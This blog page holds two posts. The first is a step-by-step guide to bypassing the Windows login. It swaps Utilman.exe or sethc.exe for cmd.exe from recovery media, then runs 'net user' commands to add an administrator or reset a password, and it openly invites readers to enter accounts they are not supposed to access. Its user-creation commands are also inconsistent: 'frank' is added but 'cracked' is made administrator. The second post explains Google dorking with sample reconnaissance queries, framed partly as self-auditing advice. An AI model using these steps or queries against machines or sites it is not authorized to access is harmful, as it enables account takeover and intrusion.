Monday, December 12, 2016

Bypassing Windows Login using Backdoor trick

            



Locked out of your windows account or have a dire need to access one that your not supposed to have access to?
 Either way, these tricks can help you regain entry quick and simple.

Utilman.exe Backdoor trick


1# Boot up using a Windows 7 Installation CD or Flash drive

2# At the first splash screen click  “Repair your Computer”

3# Select the “Use recovery tools that can help fix problems….” and click Next.

4# Click “Command Prompt”

5# Type in the following commands:

cd /D c:

cd c:/Windows/system32

copy UtilMan.exe utilman.bak

copy cmd.exe Utilman.exe

So what does that do you ask? Well, the first two commands changed our current working directory to /Windows/system32.
 This location contains both cmd.exe (command prompt) and Utilman.exe (Ease of Access).
 Once we changed directories we then made a backup of the UtilMan.exe file and named it utilman.bak as we don’t want to permanently destroy the file.
 We then copied the cmd.exe program to Utilman.exe (essentially renaming the file)

6. Reboot your system and remove installation media.

7. At the login screen click the Ease of Access button in the bottom left hand corner. This should launch a command prompt.

8.  Run the following commands:

net user frank Replacesoon! /add
net localgroup administrators cracked /add

The first command creates a new user named frank and sets a password of Replacesoon!.
 The second command adds the new user to the administrators group.

9. Close command prompt.

10. Log in using your new credentials.

And your in, via your newly created administrator-rights enabled account where you should be free to access the user account system tool and change your password to access your original account.




Overwrite Sticky Keys Method



Now this next trick is similar in scope but slightly different that the last one, it starts exactly as did the other,

1# Boot up using a Windows 7 Installation CD or Flash drive

2# At the first splash screen click  “Repair your Computer”

3# Select the “Use recovery tools that can help fix problems….” and click Next.

4# Click “Command Prompt”

   Now, once command prompt comes up,

5# first, start off by typing in the following command to backup the original sticky keys file:

copy c:\windows\system32\sethc.exe c:\



6# Then you’ll copy the command prompt executable (cmd.exe) over top of the sticky keys executable:

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

7# Now you can reboot the PC.

Resetting the Password

8# Once you get to the login screen, hit the Shift key 5 times, and you’ll see an administrator mode command prompt.

9# Now to reset the password—just type the following command, replacing the username and password with the combination you want:

net user geek MyNewPassword

10# That’s all there is to it. Now you can login.

OPTIONAL BUT RECOMENDED!  If you wish to put the original sethc.exe file back, you can do so by rebooting into the installation CD, opening the command prompt, and copying the c:\sethc.exe file back to c:\windows\system32\sethc.exe.



Enabling the built-in Administrator Account


If your default administrator account is not already activated (if it is you should see a administrator user on the login screen along with the usual user accounts you have) If not, then you can enable it by doing the following...
 To enable the hidden Administrator account

If you cannot access your user account so that you can enter into safe mode then Use a windows installation/recovery cd or recovery usb flash drive in order to access a command prompt and continue at step 4#

if not then read on and follow the steps,

1#
 Boot into safe mode
2#
 Click Start, type 'cmd',
3#
 right-click Command Prompt and select Run as Administrator
4#
. In the command prompt type:

Net user administrator /active:yes
5#
Hit Enter and you should see a message that says, "The command completed successfully".

Congrats, you have just enabled your built-in administrator account!

Well, thats all folks! till next time, spank the monkey here signing off and wishing you all a happy holiday!
check out my other sites here!













this blog can be found out


see my other blogs







Tuesday, October 18, 2016

Google dork query definition

A Google dork query, sometimes just referred to as a dork, is a search string that uses advanced search operators to find information that is not readily available on a website.

Google dorking, also known as Google hacking, can return information that is difficult to locate through simple search queries. That description includes information that is not intended for public viewing but that has not been adequately protected.

As a passive attack method, Google dorking can return usernames and passwords, email lists, sensitive documents, personally identifiable financial information (PIFI) and website vulnerabilities. That information can be used for any number of illegal activities, including cyberterrorism, industrial espionage, identity theft and cyberstalking.

A search parameter is a limitation applied to a search. Here are a few examples of advanced search parameters:

site: returns files located on a particular website or domain.
filetype: followed (without a space) by a file extension returns files of the specified type, such as DOC, PDF, XLS and INI. Multiple file types can be searched for simultaneously by separating extensions with “|”.
inurl: followed by a particular string returns results with that sequence of characters in the URL.
intext: followed by the searcher’s chosen word or phrase returns files with the string anywhere in the text.
Multiple parameters can be used, for example, to search for files of a certain type on a certain website or domain. The Public Intelligence website provides this example:

“sensitive but unclassified” filetype:pdf site:publicintelligence.net

Those search parameters return PDF documents on that website’s servers with the string “sensitive but unclassified” anywhere in the document text.

Access to internal documents can yield further sensitive information. For example, document metadata often contains more information than the author is aware of, such as revision history, deletions, dates and author / updater names.  Because an intruder with the requisite know-how and / or tools can access such information, it’s a good practice to ensure that it is actually removed from documents before they are published or shared. The practice of document sanitization is designed to make sure that only the intended information can be accessed.

Vulnerable software

Google hacking provides a number of basic footprinting methods to profile a website — server software, operating system and so on. But much of that information is more easily found through sites such as Netcraft.com. Where Google dorks really come into their own is when the software you’re running is know to have vulnerabilities.

Software often uses easily identifiable filenames that will turn up in URLs. For example, one Google dork from 2004 targeted the Comersus APS-based e-commerce package which had an XSS flaw in the file comersus_message.asp. This could be exploited with a specially crafted URL.

To find sites running this package all a hacker had to do was type the following into Google:

inurl:comersus_message.asp

Software identifies itself in other ways, too. There’s often a credit along the lines of “Powered by…”. Worse, some packages even include the version number. The second that version is known to contain a flaw, hackers worldwide will scour the web for vulnerable sites.

These credit lines are typically part of default installations and many publicly available templates or themes. It’s generally fairly easy to remove them, especially if you develop your own theme. Go through the code and remove everything that identifies the software, including any HTML comments or meta tags. But remember to check each time you upgrade the software that these lines haven’t been reintroduced.

Software credits also find they way into <title> tags sometimes. And even when they don’t say “powered by…”, the page title is often enough to identify your site — using Google’s intitle: operator — as running on a vulnerable version of the software because the text is so specific to that page. There is little you can do about that other than ensure that your software is always up to date.



Open directories

There is nothing a hacker loves more than an unprotected directory. If web server software receives a request that contains a directory name, rather than a specific file, it will look for a default ‘index’ file — called ‘index.html’ or any one of a number of other standard files depending on the server configuration. If it doesn’t find one, it will helpfully present a list of files and sub-directories in that directory, with each filename clickable.

Web servers use standard terms in the page or title when they does this, so such open directories are easily found. Here’s one way to find .txt, doc and .pdf files on the site www.example.com. The first section uses the negation modifier (‘-’) with the inurl: operator to tell the search to ignore .html, .htm and .php files.

-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(.txt|.doc|.pdf)

That will find examples across the web. Add “site:www.example.com” to search a specific site.

It’s surprising how often such directories contain text files with configuration, even password, information. (Beware, however, if you experiment with this: the results generated by Google dorks aimed at password files often lead to honey traps.) Even if the directory contains only harmless files — images, for example — the fact that your site has an unprotected directory will draw hackers to it, who will have assumed that your security is shoddy. That’s not good.

It helps an attacker map the topography of your system. Some of those sub-directories, for example, might contain files that you don’t want people to know about (although keeping such files in a publicly accessible part of the directory tree is a bad idea to start with).

Google won’t necessarily find such directories if they are not referenced anywhere in your website, but that hardly counts as protection.

This problem is very easily fixed. Always have an index file in every directory. A simple index.html or index.htm (depending on server settings) will do it. It doesn’t even have to contain anything — so long as the server has something to grab and serve up, it won’t provide a directory listing. A sensible solution, though, is to have index.html contain a very basic web page, perhaps with a link to your home page.



Sensitive scripts

Some of the files left publicly available are there by mistake. Bizarrely, others are deliberate. Webmasters often allow scripts to output logs. For instance, the following gives interesting information about a specific piece of bulletin board software (just click through any messages that pop up):

inurl:CrazyWWWBoard.cgi intext:"detailed debugging information"

If you have administration software that reports on, perhaps, network performance, ask yourself if those reports need to be available online. If so, make the pages that contain the output of any scripts password-protected directory.



Error messages

Hackers really hit paydirt when your site goes wrong. Error messages often contain useful data for the hacker. Not long ago, The Register reported on a website that displayed a huge amount of PHP information due to an error. Google, of course, duly indexed this. It’s not unknown for some site developers to enable a debugging mode that displays the output of the phpinfo() function if there’s a problem. That function prints out a vast amount of information useful to a hacker. To see some sites with this issue, try:

intitle:phpinfo "PHP Version"

Various kinds of software display standard (and thus searchable) messages when they hit a problem. For example, try searching with:

"mySQL error with query"

These error messages may include database, table and field names — invaluable for SQL injection attacks — and even user names. PHP, ASP and other scripting systems may produce errors that reveal directory structures, names of otherwise obscure script files and other useful detail.

Even if the admin has since fixed the problem, so that the error message is no longer displayed, the fact that you’ve found this site with a search means that the problem page, including the error message, is still in Google’s cache. So, on the Google results page, you simply opt for the ‘Cached’ link.

Certain Google dorks will find default pages that might suggest a poorly installed or maintained site. Some of these will reveal interesting information, for example:

intitle:"Apache Status" "Apache Server Status for"

This can reveal data about virtual hosts, directory structure and files.

It’s therefore wise to turn off error reporting for live sites — in the database, scripting language, CMS and any other software you’re using. And to make sure that you have completed configuration for all installed software.



Security through obscurity

What Google dorks teach us is that there is no security through obscurity on the web — simply because there is no obscurity. You might think that you’re the only one that knows where the login page is for your CMS, or that a certain file is not linked from anywhere else and will not, therefore, be found by Google. But it’s a mistake to rely on this.

Even when a Google dork doesn’t reveal specific information, it can tell a hacker where to strat looking. For example, there are dorks that reveal the login pages for administrators — pages that may not be linked ordinarily from the public side of the site.

inurl:/admin/login.asp



Tools

This is just a taste of what Google dorks can achieve. Helpfully, there are tools available to automate Google hacking. One of them is produced by Google itself: GoogleHacks.4 It’s somewhat basic, but script kiddies will love it.

The Cult of the Dead Cow group — notorious for the Back Orifice trojan — has released a Windows-only tool, Goolag.5 This is rather more sophisticated. It comes with a database of Google Dorks, supplied in XML format, so it’s easily readable and amendable. You can also specify your own searches.

By automating groups of Google Dorks, Goolag is a useful first step in penetration testing of your own sites. But there’s no real substitute for working through the Google Dorks yourself, given that you will have some idea of where weaknesses may lie.



Countermeasures

We’ve already outlined some of the measures you can take to protect yourself. The best approach is to Google hack your own site, identify all those flaws that can be picked up by Google and fix them. Skilled hackers may still be able to use some of these tricks to survey your site if they have already targeted it. But at least you won’t be advertising your problems.





email spoofing - Email spoofing is the forgery of an email header so that the message appears to have originated from someone or somewhere other than the actual source.

buffer overflow - A buffer overflow occurs when a program attempts to write more data to a fixed length block of memory, or buffer, than the buffer is allocated to hold. Buffer overflow exploits may enable remote ex... (SearchSecurity.com)

private key (secret key) - A private (secret) key is an encryption key whose value should never be made public. The term may refer to the private key of an asymmetric key pair or a key shared by parties who are using symmetr...

Network security - Terms related to network security, including definitions about intrusion prevention and words and phrases about VPNs and firewalls.

Internet applications - This WhatIs.com glossary contains terms related to Internet applications, including definitions about Software as a Service (SaaS) delivery models and words and phrases about web sites, e-commerce ...